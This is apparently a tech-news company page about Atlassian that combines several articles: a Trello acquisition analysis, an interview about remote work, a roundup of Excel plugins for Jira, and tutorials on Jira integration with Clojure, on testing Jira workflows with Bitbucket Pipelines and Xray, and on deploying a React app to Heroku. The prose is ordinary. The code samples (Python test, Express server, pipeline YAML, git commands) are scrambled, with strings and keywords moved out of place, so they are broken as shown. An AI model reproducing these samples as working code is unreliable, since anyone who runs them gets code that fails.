update the feed. (js/setInterval  #(fetch-issues handler)  5000) What have we got? We’ve built a dynamically-updating ClojureScript React application that’s showing live changes from JIRA. It turns out it’s surprisingly easy to integrate a Clojure app with JIRA through Atlassian Connect. Evidently, what we’ve built here is only the barest beginnings of a production app; in real life you’d want to check the validity of inbound events using the JWT functionality built into the Connect API, and you’d at least want a proper database of some sort to persist your data into. And remember — the full working source to this application is on GitHub here for your reference: https://github.com/getctx/connect-example One more thing… If you like what you see here, please check out our application, like JIRA, Trello, Slack, GitHub, Google Drive, email and more in one shot. We offer a free trial with no credit card required.  Thanks! CTX, which lets you and your team search your apps Originally published at getctx.io on March 24, 2018.

Building a JIRA integration with Clojure & Atlassian Connect

Disclaimer: I used to be a Senior Product Manager in the JIRA team at Atlassian, where I launched a new project and task management tool for business teams — JIRA Core. These thoughts and opinions are my own. At USD 425 million, is ’s — that number represents 7.7% of their total market capitalisation, and looking at the of their cash assets (USD 266 million on 30 September 2016), it’s probably fair to say that the USD 360 million cash component almost broke the bank. The earnings call on 19 January 2017 should be pretty interesting, but shareholders seem to be positive about it. Trello Atlassian biggest acquisition yet last reports The question is, why would Atlassian spend that much money on a product that is in some ways very similar to the ones they already have? After all, Trello helps teams manage tasks in a visual way, but JIRA already has 2 types of boards that not only do the same, but are vastly more sophisticated in terms of functionality and the underlying technology. Cloud First When Atlassian first released JIRA in 2002, businesses still preferred running their own servers to keep software and data secure. While Atlassian does have a cloud offering, customers do express some room for improvement. Trello, first released in 2011 when the IT landscape and zeitgeist was already changing, was built for the cloud first and for the cloud only. This allows Trello to experiment and iterate much faster, avoid a lot of the complexities that come with maintaining Cloud and Server products at the same time and it also allowed them to build a simpler way to connect with other apps. The Atlassian Marketplace lists about but over 100 more for JIRA Server. The limited set of APIs for JIRA Cloud compared to JIRA Server could be one part of the problem. For Trello, there is no way to see publicly how many integrations have been built, but given the lower barriers it is unsurprising that “trello integration” brings up almost twice as many search results on Google as “jira integration”. 330 add-ons being available for JIRA Cloud Trello is embracing the Cloud and their team’s experiences will no doubt lift the game for Atlassians other products. Will we see Atlassian building a server version of Trello, ? Only time will tell, but there is an important reason that makes me doubt it. like they did with HipChat Simplicity > Feature list Atlassian has traditionally followed a bottom-up adoption model. It is a fundamental part of their business that teams can simply adopt software, tinker with it to adapt it to their needs and run with it — no enterprise sales cycle required. When Atlassian started, their customers loved this new model, especially technical teams which just wanted to get on with changing the world instead of sitting in sales meetings. Atlassian went for the longest time without any sales people — it is not despite that but because of it, that their main products like JIRA are so well known and loved by teams all over the world. However, from having built several different products myself, I know that one thing has changed over time — people’s willingness to tinker with new products. These days, if something doesn’t “just work”, people lose interest very quickly. Our lives are faster and we have simply very little time to waste on figuring out how something works. Meanwhile, JIRA’s functionality has expanded drastically. JIRA’s biggest strength, in my opinion, is how flexible and adaptable it is. But at the same time, that is its biggest weakness. At Atlassian’s annual customer conference, Summit, we showcased some of the most common use cases. Although JIRA was originally built for software teams, there are many marketing, legal, HR, sales and other teams embracing it. Now, in Atlassian’s , they mention how Trello’s “card system is intuitive, easy to use, and instantly familiar, which has made it extremely popular with teams across marketing, legal, HR, sales and beyond.”. acquisition announcement It looks like the patterns are the same — these teams need flexible task management tools, but the new breed of teams want to use something that “just works”. Want a hint that Atlassian thinks this is the future? In their own announcement, they encourage their customers to create a Trello account. But in there is no call-to-action for creating a JIRA account (even though revenue wise, this might be an up-sell as JIRA has no free version). Trello’s announcement MAU — Monthly Active Users As the acquisition announcement points out, Atlassian and Trello have identical milestones towards achieving our missions: for our tools to be used by 100M people. What a superior experience and low barriers to adoption in a market that is has a fundamental need for task management solutions create is magical growth and momentum. And with that comes marketing power — so it’s no wonder many companies have MAU as their top metric. With Trello’s user base, not just in terms of raw numbers but also in terms of their demographics, Atlassian can secure its position with small, forward-thinking teams. They will also be able to expose their products to individual users who use Trello for personal projects. These individuals will now get exposure to Atlassian’s other products and will be able to take these into the companies they work for or with. The more products of a brand a customer uses the better — that’s how Apple, Google, Microsoft and Facebook became some of the most valuable companies in the world. It’s no surprise to see Atlassian, a multi-product company from the very early days, heading down that route. Verdict Whatever the future holds for Atlassian, JIRA and Trello, this is exciting new with lots of opportunities and upsides for everyone involved. Now several other companies will have to up their game to keep up. Asana was very late to introduce boards like Trello and JIRA Core already had, they might be in an even more difficult position when Atlassian combines Trello for example with HipChat to create a fully integrated task management and communication experience — something they . already announced For Atlassian, I believe this was exactly the right move. One of the questions that remain is: With that much overlap between their tools, how will a user who has not heard of neither Trello nor JIRA or Service Desk figure out what’s best for them? How will JIRA users decide between JIRA Agile boards and Trello once the products are integrated? There might be a little more tinkering we will have to do after all, but whichever one you end up using, these tools are going to become a whole lot better — which is going to be great for every team! PS: I regularly share my lessons learned from building, managing and growing products at www.productrise.com . Also, if you are stuck with your product, team or personal Product Management journey, reach out to me any time. I’m always happy to just have a chat.

What the Trello Acquisition Means For Atlassian

We recently sat down with from Atlassian, to delve into what it takes to successfully run a distributed-first team. We spoke about how Atlassian chooses to structure their team, what distributed-first looks like for them, and how transparency, visibility, and those water cooler moments, matter the most when working in a remote-first world. Sherif also shared with us the idea behind what they call, the "Daily Cafe" to keep their team engaged and connected. Sherif Mansour Advancing Humanity through the Power of Software If you haven't heard of Atlassian, maybe one of these names will jog your memory; Jira, Trello, Confluence and Bitbucket. These are a few of the SaaS products that make up the suite of Atlassian tools. The way Atlassian describe themselves is as a company whose products help teams across the world advance humanity through the power of software. That's one powerful statement, but their products do help thousands of teams collaborate from anywhere in the world, and their innovative practices are what has allowed them to blaze on ahead as they grow their distributed team. Our interview with Sherif Mansour, Distinguished Product Manager at Atlassian, was full of nuggets of inspiration and many helpful insights. We hope that through his shared knowledge, you'll be able to take back some of the learnings you gained and apply them within your own team. What Atlassian's Distributed-First Teams Look Like "Behind every great human achievement, there is a team. Our mission is to help unleash the potential of every team." Teamwork and collaboration have always been important values of Atlassian, and how they've grown their suite of tools is a display of this. Their other values are just as important and are showcased front and center on their site, throughout their messaging, and in the way in which they connect with their customers. Check them out below 👇 Open company, no bullshit Play, as a team Build with heart and balance Don’t #@!% the customer Be the change you seek After speaking with Sherif, it's no wonder why the company has been able to continue thriving through the pandemic and maintain momentum as they've fully shifted into a distributed-first team. We were curious to know more about the structure of Atlassian teams and how the team looked pre Covid. How are teams at Atlassian structured? Pre-Covid, was there traditionally a culture of remote/distributed work? Sherif explained how Atlassian was co-located until the acquisition of Trello in 2017, making this their starting point as a distributed workforce. "Trello was a 100% remote team, so they started to inform a lot of the cultural practices and tooling and many teams began a transition to distributed work as a consequence of that." Recently, Atlassian , which allows their employees the freedom to choose whether or not they want to go into the office. They have made "distributed" a choice, allowing employees to work from wherever feels best for them. For some of their team, that means working from the office most days, while for others the preference has been fully remote. announced a distributed-first policy What does your team look like right now? "Everyone's distributed, we have 3 of our 12 people who are spread across different timezones, but they are overlapping. We try to ensure we have a 3-4 hour timezone overlap...Australia works pretty well with west coast USA." Atlassian shared with us how the transition of going from a largely co-located team to distributed-first in the last 6 months hasn't been an overly smooth one. Let's dive in and share the origin of some of those struggles from the individual employee standpoint, for the user's side, and as a team. The Remote-first Mindset "The TLDR is that everyone's transition to remote has been different." A , released by Atlassian, showed that there are 4 key factors that dictate how people will experience this transition; Experience level, Household complexity, Role complexity and Network quality. Sherif Mansour explained how these 4 key factors affected each person's transition to remote working in a unique way. research paper on remote work "In our team, we've had younger people in tiny apartments having video calls with their flatmate in the background, we have others with screaming kids behind them. Generally speaking, it hasn't been easy, but for me personally, I feel that the work-life blend has definitely been harder. I've lost the decompression time you get from the commute to/from work, just being able to flick that mental switch from work-mode to home-mode, it's just really all blurred together now. " User response to Remote Atlassian could see the as well, showing that the remote transition was playing more heavily on user's work-life balance than what may have originally been thought. user behaviour change inside the products "Time spent inside the Atlassian products has gone up since the pandemic - clear evidence of blurring the lines of work and home life." Building a Shared Brain Remotely One of the biggest difficulties remote teams face is how to build and maintain a cohesive and aligned brain, something that Sherif expressed has been a challenge for their team as well. "Our discovery work has been much harder. In the previous world, we booked a meeting workshop for half a day, whiteboard the hell out of everything and you build that shared brain. We've tried adopting some of the practices of the Trello team and using tools like Miro, but it just hasn't quite been the same." Combatting Communication Silos If you're working remotely, or have at some point, you've likely encountered communication silos which spring up as a result of companies failing to share critical information across their various departments and teams. What often happens when silos emerge is a misaligning of priorities, failure to meet the goals set, and often a lack of workplace cohesion followed by decreased employee engagement. Even in large co-located teams, communication silos emerge. We were curious to know whether Atlassian found that remote working amplified these silos or whether they had been able to take steps to avoid this. " At Atlassian, we're probably an edge case here; what shocked me when I arrived at Atlassian was the level of transparency throughout the company. We're open by default, so access to information has never been a problem for us." Although the transparency Sherif spoke about is a positive aspect, he did mention that there was also a flip side to it, which is that there is often a signal to noise problem. He commented that with this firehose of information, it can be difficult to know which is most important to pay more attention towards. "I think where remote has made it harder for us is that we're missing some of the serendipitous conversations that pointed to relevant information, that's gone away." Sherif mentioned how it's in those water cooler conversations where you often hear people say, "did you see that post, or hear about this project, or what are you working on?". These short casual conversations act as somewhat of a guide for what you should be paying attention to. "Most people discover content through their physical social networks; it happens in Slack now, but it's not the same." Recreating those Water Cooler Moments Finding unique and creative ways to recreate those serendipitous water cooler moments isn't always so easy. Sherif expressed that finding solutions to building random connections with individuals outside of your team is challenging. Their annual hackathon was one way they used to help build these connections, but as Sherif explained, it wasn't too common. "I think we could learn a lot from online gaming communities, they seem to have solved part of the challenge of creating completely online communities and giving people identity." At Atlassian, they also experimented with running Activities like Zoom cocktail mixing lessons, playing online "boardgames", and painting classes, are just a few of the activities Atlassian's team has organised. remote socials. "I think these work pretty well for small groups of around 5, but when you get a larger group you have to be a lot more deliberate with the conversation or use breakout rooms to split the group up." Remote First Strategy - How to Improve Visibility Many people are struggling with the lack of visibility that comes with remote work. Finding a way to support your team to be as close to 100% and focused on the most important objectives is challenging when visibility over the work done is easily lost. Sherif shared some insights on the two angles that are often taken in regards to visibility. "There are two angles here; the manager who's concerned about everyone doing their job, and the individual who needs that feedback loop or recognition of their work." How Atlassian Approaches Visibility At Atlassian, one of the key elements to improving visibility is linked to their level of trust. Sherif explained how as a company, they have a lot of psychological trust and put the focus on outcomes rather than the outputs. "We've also always done weekly check-ins just to get a pulse of what's going on in the team. For the individual, it's been a little more difficult" Some of the other techniques Atlassian has used that have worked well have been: Asynchronous videos - where employees record their thoughts and share them with their team or manager.Asynchronous text-only stand-upsReplacing the in-person standup with something they call the "Daily Cafe". Replacing the Daily Stand-up for the Daily Cafe! Yes, Please! The replacement for an in-person standup at Atlassian is the "Daily Cafe", which runs for 30 min, 2-3 times per week. The "Daily Cafe" is optional to attend, and invites everyone to take a turn acting as the facilitator. During this session, each member of the team can bring up any topic they wish to discuss; anything from work to social life is fair game and up for discussion. "It's there to create that psychological safety, to make sure everyone feels like their voice is heard like they're part of a team and are free to share anything without having a structured format. It's been really helpful and probably ends up being 30% social, 70% casual work chat." David Smyth Interviewed by: Tanya Lesiuk Written by: Previously published at https://www.complish.app/blog/atlassian-interview-distributed-first-team

Atlassian Announces Its Shift To Distributed-First Policy

The needs and wants of modern-day Project Managers (PMs) have evolved within the last few years. In light of the ongoing pandemic, the increasing popularity of Agile methodology, and the heightened importance of data analytics, a good PM is now a versatile PM. One way PMs can achieve this is by using effective project management software. Jira and Confluence, along with Excel, stand as the most popular, and for good reasons. Although Jira and Confluence offer plentiful tools for project management and Excel provides in-depth analytical functionalities, the advent of recent trends means that to succeed, the two cannot exist separately. In this article, you’ll find the pros and cons of Jira, Confluence, and Excel and learn how exactly you can harness the power of the three at once with the help of plugins. Jira and Confluence’s Highs and Lows Jira and Confluence are often seen as a match made in heaven. When properly used together, they combine the best Atlassian has to offer in terms of project management. Highs Let’s start with a couple of reasons why many love the duo: Communication Because Jira is designed to facilitate collaboration, PMs can seamlessly communicate with their teams via inline comments and issues while meticulously tracking progress, keeping everyone in the loop, from managers to stakeholders. Single Source of Truth Every project’s team will be composed of individuals with wholly different skill sets, backgrounds, and opinions. While you can’t standardize this, you can at least ensure everyone learns and works with the same knowledge, something especially important in the era of remote work. Using Confluence and Jira to set up a knowledge base and link relevant issues/tasks will help any team find common ground easily. Lows But the pair isn’t without fault. Here are some common quibbles: Learning Curve Jira and Confluence aren't the easiest tools to set up and start using. With countless functions and jargon - dashboards, screens, issues, spaces - it's easy for the inexperienced to feel overwhelmed. Further, also considering things like query language and the introduction of , you’d need a dedicated specialist to properly utilize everything. Confluence Cloud Simple Tables Tables are a low weak point for both Jira and Confluence. If you’re dealing with complex work (large team sizes, multiple variables), you’ll find yourself quickly hitting a wall. To make things worse, you won’t even be able to create all those graphs and charts we associate with Excel! Excel’s Highs and Lows Excel is another popular tool used by PMs, and with it being among the leading software for data visualization and interpretation, there’s little wonder. Highs Here are some reasons why Excel dominates: Ease-of-Use Excel is as elegant as it gets in terms of its clear user interface and easy-to-learn toolkit. It offers a host of features that’ll accommodate any project, from simple personal budgeting to audit reports for international businesses. Honestly, if you still find yourself intimidated by what’s available, you can rest easy knowing that there’s a wealth of available online. learning resources Functionalities Despite its simplicity, Excel still has a high skill ceiling. Excel offers powerful analytical tools that can handle complex calculations and draw connections between large data sets, making even Jira’s dashboard look overly basic. Everyone from to uses Excel, after all! data scientists high schoolers Lows But all isn’t perfect. Some common criticisms include: Teamwork PMs everywhere will attest to what many think is Excel’s biggest flaw: . No matter how pretty or complex your spreadsheet is, the fact remains that Excel doesn’t allow multiple users to work on a single document simultaneously. And even if you could, how can you track who’s responsible for what? Who’s not pulling their weight? What if you have multiple projects? teamwork Not Project Management Oriented Unlike Jira and Confluence, Excel was made to be a versatile product as opposed to a specialized tool for project management. Accordingly, you’ll find Excel lacking in this department. There’s no progress tracking, dependency creating, or task commenting features to be found here. Best Addons to Unite Jira and Excel By now, you should have gotten the hint that Excel, Jira, and Confluence can all fill in for what the other lacks. Thankfully, uniting them is easier than you’d assume. Here are three nifty tools that’ll help you do this: Excel-like Issue Editor for Jira ** ** The makes dealing with Jira issues a painless experience with the help of Excel. Whether you’re dealing with 10 or 10,000 issues, you’ll be able to bulk edit and instantly update all of them without suffering from lag or error. Excel-like Issue Editor for Jira This is possible due to its Excel-like features that include its freeze column and sort and filter functions. Beyond this, PMs can also assign issues, alter issue priorities and due dates, as well as visualize the hierarchical relation of their project’s issues. in particular, will become a stress-free chore thanks to the app’s bulk edit functionality. This will undoubtedly shave off entire swathes of time that could otherwise be spent more efficiently by PMs. , Backlog Grooming Excel-like Tables for Jira __ __allows PMs to harness the power of Excel tables for all their Jira issues. This includes features like pivot tables, graphs, and charts.** ** Excel-like Tables for Jira Above all else, you’ll now be able to conduct detailed analyses of your datasets as opposed to just fitting them into a Jira table. With the help of over 400 unique Excel formulas that include the basic (e.g., SUM, AVERAGE) to the advanced (e.g. Bitwise), the sky’s the limit here.** ** So for PMs who need to conduct a little analysis, a product like this is ideal. You could, for instance, keep close tabs on expenses in Jira, and along with Excel’s features, visualize your findings with graphs and create budgetary forecasts with formulas. Excel-like Tables for Confluence Ever wished your Confluence tables had a little more ? Meet . This free app will transform your Confluence spaces into something far more than just another knowledge base. oomph Excel-like Tables for Confluence With an arsenal of tools to use that include filters, shapes, formulas, tables, and even CQL searchability, data analysis and visualization will all be possible here. Best of all, you aren’t limited anymore to Confluence’s limited range of ; you now have access to Excel’s library of templates! project management templates Thanks to the addon, you’ll even be able to take advantage of another project management tool: . They’re great for tracking projects and adding a further layer of transparency and accountability to projects. All you have to do is to get started. Gantt charts download a template Next Steps Now that you’ve seen how and why it’s imperative to unite Excel, Confluence, and Jira to bring out the most in project management, what’s stopping you? Learn more about how you can harness Excel capabilities from right within Jira and Confluence . here

How to Unite Excel’s Power with Jira and Confluence’s Functionalities

In this post I want to show you how you can use your together with . Furthermore I want to also introduce you into a really awesome, cutting edge Test Management Suite for Jira which I use a lot. Bitbucket pipelines Jira Cloud Xray Test Management for Jira Cloud You might have read my last post about — if not you’ll have the chance later on, because I do refer to some configuration. Deploy a React App to Heroku with Bitbucket pipelines Initial Situation In most enterprises we don’t want to change workflows in production environment directly. Instead we have a test instance or project where we build stuff first and then present it to the business. In this article we’ll assume we have the following simple workflow and a rule for transition issues from to . This rule checks if the user is in the Project Role of (we’ll assume the user is 😉🙄). “Backlog” “In Progress” Administrator Now that we have implemented the Jira workflow the way the business needs it, we need to test the workflow. Sure, you could say, let’s do it manually because it’s a quick test. But in most cases we do have more complex scenarios, don’t we? I want to show you, how you can test your Workflow automatically with a small (Python) running on . Pytest app Bitbucket Pipelines In addition to that I want to introduce the app — a cutting edge Test Management Suite for Jira. There we will write a Test Plan and trigger the Bitbucket Pipeline. Xray Test Management for Jira Cloud Disclaimer For simplicity’s sake, we will omit appropriate authentication or code formatting. What we will do here will work, but it should not be used in any production environment. Prerequisites To get started we need to prepare some stuff first to make sure that everything is working fine. What we need for this tutorial is: Python3 installed on your local machine – see documentation Python IDE installed – in my case this is from Jetbrains PyCharm generated – Jira API token see documentation generated – Xray API token see documentation generated – Bitbucket App Password see documentation Let's Get Started! Step 1 — Create a Python app: Yes, this time round we’ll build a small Python app which does nothing more than transition an Jira issue from one status to another. Therefore, you need to: Open up PyCharm Create a new Python Project Make sure you use as your Python environment Pipenv After we’ve created our Python app we need to install at least two python packages. Head over to: → → Settings Project:<your-app-name> Project Interpreter Install and via the little + sign on the right side jira-3.0a2 pytest In the project root create a folder with the name and within the folder create a file called The file will look pretty simple and we do manage all stuff e.g. authentication, within this file. tests test_transition.py. jira JIRA, JIRAError

jira = JIRA(
    options={ : },
    basic_auth=( , ),
) from import "server" "https://<domain>.atlassian.net" "<E-MAILADDRESS>" "<API-TOKEN>" At first we need to load the Jira library for authentication and using all the Jira methods we need to update and transition issues. After we’ve imported all we need, we can authenticate to our Jira Cloud instance. It is important that you use the API token mentioned above in the prerequisites. Jira Cloud doesn’t allow you to use basic authentication with username and password anymore. Next we add the test itself directly below the authentication. The steps are: Get the issue(s) Execute the transition — at least try If correct assert the new issue status ( ) In Progress If not correct assert the current issue status ( ) Backlog issue = jira.issue( ) :
        jira.transition_issue(issue, ) JIRAError: issue.fields.status.name == issue.fields.status.name == : def test_in_progress () "<ISSUE-KEY>" try "In Progress" except assert "Backlog" return assert "In Progress" At this point we already can test our Python app. To do that we need to create a Run Configuration: Go to → Run Edit configurations Click on symbol → choose (absolute path to your test file) + pytest Add the and (absolute path of tests folder) Script Path Working Directory After that we can right-click our folder and choose Our result should look something like this: tests pytest in tests. Step 2 — Upload the app to Bitbucket: For this please read my where I explain in detail how you can setup your code repository and how to enable pipelines for it. previous post After you’ve setup your Bitbucket repository, open a terminal, make sure you are in the root directory of your Python app, and type the following lines: git init
git add .
git commit -m git remote add origin https://username@bitbucket.org/username/name-of-your-repository.git
git push -u origin master "initial commit" When you refresh the browser page, you should see all the files and folders of the app you’ve just commited to the git repository. Now that we have everything up and running, add the following : bitbucket-pipeline.yml image: python:3.8.3
pipelines:
  default:
    - step:
        caches:
          - pip
        name: Run tests
        script:
          -  |
             pip install pipenv
             pip --version
             pipenv install pipenv run python3 -m pytest --junitxml= -result.xml test_transition.py token=$(curl -H -X POST --data https://xray.cloud.xpand-it.com/api/v1/authenticate| tr -d )
             curl -H -H --data @ -result.xml echo "Test my amazing script" test export "Content-Type: application/json" "{ \"client_id\": \" \",\"client_secret\": \" \" }" $client_id $client_secret '"' "Content-Type: text/xml" "Authorization: Bearer " $token test "https://xray.cloud.xpand-it.com/api/v1/import/execution/junit?projectKey=TP&testPlanKey=<ISSUE-KEY>" echo "done" Puuhh! 😵 Let's go through this step by step: We install because it takes care of everything you need to work with your app and it is just awesome! pipenv We install all libraries added to our Project and therefore to the Pipfile with pipenv install We run our test(s) with the special parameter — = (important use double dashes infront of junitxml!) junitxml <filename>.xml We get our token with the credentials mentioned above Xray Cloud App We push the to the Xray Cloud App test-result.xml Finally we specify the and our which we will create in a second. Project Key Xray Test Plan Step 3 — Install and configure Xray: Installing Xray is really easy and straight forward. Go to in your Settings menu on the top right Apps Go to and search for Xray Find new Apps Click on the Card and install the App via Try Free In app marketplace side in Jira Cloud Step 4 — Create a Test Plan and a Task: First we create a new Project. You can choose any type of Project Type, all will work with Xray. In our case we create a with the name and the key Classic — Kanban Project Test project TP. If you’ve never used Xray before and need help setting up your project, they got awesome documentation here: Quick Setup - Xray Cloud Documentation - Xray (getxray.app) After configuring our Project we need to create two issues. - This one will receive all Test Execution and Test issues which will automatically be created when triggering the pipeline (see our pipeline.yml) Test Plan - This one is our Task with the Workflow we want to Test. Task Step 5 — Trigger Bitbucket Pipelines via Jira Automation: So let’s do the following: Go to Project Settings Choose Automation Create a New rule For the trigger we will use Issue transitioned: Next, we add a . Under the section we pick New Action Notification Send web request. : Webhook URL https://api.bitbucket.org/2.0/repositories/{workspace}/{repo_slug}/pipelines/ In the text area just add the following JSON: { : { : , : , : }
} "target" "ref_type" "branch" "type" "pipeline_ref_target" "ref_name" "master" For more details take a look at the REST API Endpoint in the official documentation . Now that we have everything setup, let’s grab some popcorn and let’s enjoy what we’ve just build. Our Jira Board should look something like this Let’s move the issue in our from to . This should trigger our pipeline! Go to your Bitpucket pipeline — you should see that the build just has started. TP-1 Test Plan Backlog In Progress After the pipeline tasks are successfully done let’s head back to Jira. Our Task was transitioned to thanks to our Python app. Now we know that the business team will be happy and we can prove to them even before the presentation that everythings works as requested. In Progress Xray automatically created a Test Execution and a Test for us. Even more we’ve pushed the results to the Test Plan. — Result after running the Bitbucket pipeline Test Plan — Created after running the Bitbucket pipeline Test Execution About Jodocus The team brings its expertise in business processes, ALM, DevOps and Cloud to you! We make our clients’ lives easier by fitting the tools to your needs. Jodocus is a Cloud First Solution Partner with a focus on Business Processes. We help teams of all kind to digitize their Workflows and use the power of collaboration to elevate their daily work. Our expertise is to smoothly integrate Atlassian tools into your companies‘ toolset and get your teams ready for teamwork! Jodocus About Xray is the leading Quality Assurance and Test Management app for Jira. Improve the quality of your systems through effective and efficient testing that runs through the entire software development lifecycle. supports both manual and automated tests and provides powerful reports to ensure full requirements coverage. More than 4.5 million testers, developers and QA managers trust Xray to manage 100+ million test cases each month. is a mission-critical tool at over 5,000 companies in 70+ countries, including 137 of the Global 500. Xray Xray Xray Hope you liked it, even more I hope it helps you! Please let me know! Also published at https://medium.com/jodocus-blog/test-automation-of-jira-cloud-workflows-using-bitbucket-pipelines-and-xray-test-management-3ff316b03e25

How to Use BitBucket Pipelines and Xray Test Management to Test Automation of Jira Cloud Workflows

Hello world! In preparation of a talk for an in Hamburg I struggled and stumbled upon some documentations and tutorials for using Bitbucket and Heroku together. So I’ve decided to write my own first developer article about Atlassian Community Event Building a basic CI/CD pipeline for deploying a to using React App Heroku Bitbucket Getting Started Step 1 — Create React app In this tutorial we will focus on deploying a React app to Heroku, so we will just use the React starter app. To run the App in Heroku we’ll add a basic express server setup later on. Prerequisite for creating and running a React app make sure you have: 1. and installed Node.js npm 2. installed (optional) Visual Studio Code Now with that basic setup we are ready to create our React app: npx create-react-app name- -your-app of Depending on your development environment grap yourself a coffee, the next 2–5 minutes are not that interessting, except you like watching how all the project dependencies are downloaded and bundled together. After you are back, type the following lines into your terminal to start the app cd name- -your-app
npm start of You can now view the app in a browser by open the URL http://localhost:3000 Step 2 — Create Bitbucket Repository Now that we have our app up and running on our local machine we should create our git repository. Therefore we head over to . If you don’t have an account yet, get one its for free (important nowadays)! https://bitbucket.org When creating a new repository you need to at least give it a name and you want to set the access level to private. Most of the settings here can be changed afterwards. Well done! You’ve created your — maybe first — git repository. Time to explore the menu which you’ll now see on the lefthand side. If you want to know more about Bitbucket head over to the . official documentation Step 3 — Create Heroku App We are pretty close to deploying our app now. Head over to - again create an account if you don’t have one (IT’S FREE!). https://heroku.com On your dashboard click and choose . In the dialog: New Create new app 1. Set a - this one is unique world-wide, so it might happen that some else already picked or - be creative! App Name test123 demoapp 2. Choose the where your app should run Region Your app is now created, but before you head back to your code and git repository we need to tell our app which we’d like to use. Buildpack Go to in your AppUnder click and choose Settings Buildpacks Add buildback heroku/nodejs For deploying the app later on we also need an API Key. 1. In your Profile go to Account Settings 2. In the Section click API Key Reveal 3. Safe the key for later configuration Deploy with Bitbucket pipelines Now comes the fun part… for you actually, I learned the hard way so you don’t have to. Step 1 — Setup an express Server Go to Visual Studio Code and add a new folder called to the root of the repository. Within that folder create a file called and install express by running this command in your terminal: server server.js npm install express --save Within the file copy & paste these lines of code: server.js path = ( ); express = ( ); app = express(); publicPath = path.join(__dirname, , ); port = process.env.PORT || ;app.use(express.static(publicPath));app.get( , (req, res) => {
    res.sendFile(path.join(publicPath, ));
});app.listen(port, () => { .log( + port);
}); const require 'path' const require 'express' const const '..' 'build' const 3000 '*' 'index.html' console 'Hello World I run on PORT ' In your file change the script line for start your app to: package.json : , "start" "node server/server.js" Step 2 — Upload everything to your git repository Open a terminal windows make sure you are in the root directory of your React app and type the following lines: git init
git add .
git commit -m git remote add origin https: git push -u origin master "initial commit" //username@bitbucket.org/username/name-of-your-repository.git When you refresh the browser page you should see all the files and folders of your app we’ve just commited the the git repository. Step 3 — Setup and configure Bitbucket pipelines Now that our code is in our repository we need to enable Pipelines for our repository. Go to Repository SettingsUnder the Section click Right above Settings, go to Add a variable with name HEROKU_API_KEY and your key from aboveAdd a variable with name HEROKU_APP_NAME and the app name as value Pipelines SettingsEnable Pipelines Repository variables Now we can finally create our Pipeline configuration. In our case we want (not true, the author wants it!) to build a pipeline with following rules and steps: 1. We don’t have branches yet, so everytime someone commits something to the master branch we want to run our pipeline 2. We want to test our app first 3. We need to create a Zip file for the heroku pipline add-on 4. We want to finally push our repository to Heroku Author’s note: YES, I could push the repository to Heroku using git, but NO that was not my intention for writing this article! The file holds all the build configurations for your repository. There is really a lot you can do with this file, so if you want to dig deeper take a look at the . Here the basics of the file: bitbucket-pipelines.yml official documentation YAML : contains all your pipeline definitions. pipelines : contains the steps that run on every push if one of the following criteria is not met. default : each step starts a new Docker container with a clone of your repository, then runs the contents of your section. step script : a list of commands that are executed in sequence. script :  a pipe is more like an add-on or function, it takes some input and does stuff for you — like uploading your repository to Heroku pipe Our final file looks like this: bitbucket-pipelines.yml image: node: pipelines:
  branches:
    master:
      - step:
          name: Test App
          caches:
            - node
          script:
            - rm -rf package-lock.json
            - rm -rf node_modules
            - npm install
            - npm run test
       - step:
           name: Create artifact
           script: 
             - git archive --format=tar.gz master -o                   application.tar.gz 
         artifacts: 
           - application.tar.gz
       - step:
           name: Deploy to heroku
           deployment: production
           caches:
             - node
           script:
             - pipe: atlassian/heroku-deploy: variables:
                 HEROKU_API_KEY: $HEROKU_API_KEY
                 HEROKU_APP_NAME: $HEROKU_APP_NAME
                 ZIP_FILE: WAIT: 10.15 .3 1.1 .4 "application.tar.gz" 'true' The END Hope you liked it, even more I hope it helps you! Please let me know via comment or clap :) About Jodocus is a full-service provider for Atlassian Systems based in Hamburg, Düsseldorf and Cologne Germany. Our team combines more than 25 years of experience in building and running the solution you need. We are Atlassian experts and know how to analyze and understand your problems. Innovative and future-proof solutions are our passion and we always meet our customers at eye-level. Jodocus About the Author Jan Szczepanski specializes in project and process management and has been an Atlassian specialist since the beginning of his professional career. He was in charge of technical as well as non-technical teams in different companies and was responsible for the optimization of business processes. Today he uses his specialist knowledge, which he has acquired over many years, in to improve communication and collaboration structures.

ATLASSIAN

atlassian.com

1K-5K employees

Since 2002

COMPANY RANKING

ATLASSIAN

EVERGREEN INDEX #1275

Representing this company? Click here to claim and customize this page!

ATLASSIAN WIKI

Apply to get your Tech Company News Page live on HackerNoon.com today!

ATLASSIAN

atlassian.com

1K-5K employees

Since 2002

COMPANY RANKING

ATLASSIAN

EVERGREEN INDEX #1275

RELATED COMPANIESRANK

STORIES ABOUT ATLASSIAN

Representing this company? Click here to claim and customize this page!

ATLASSIAN WIKI

Apply to get your Tech Company News Page live on HackerNoon.com today!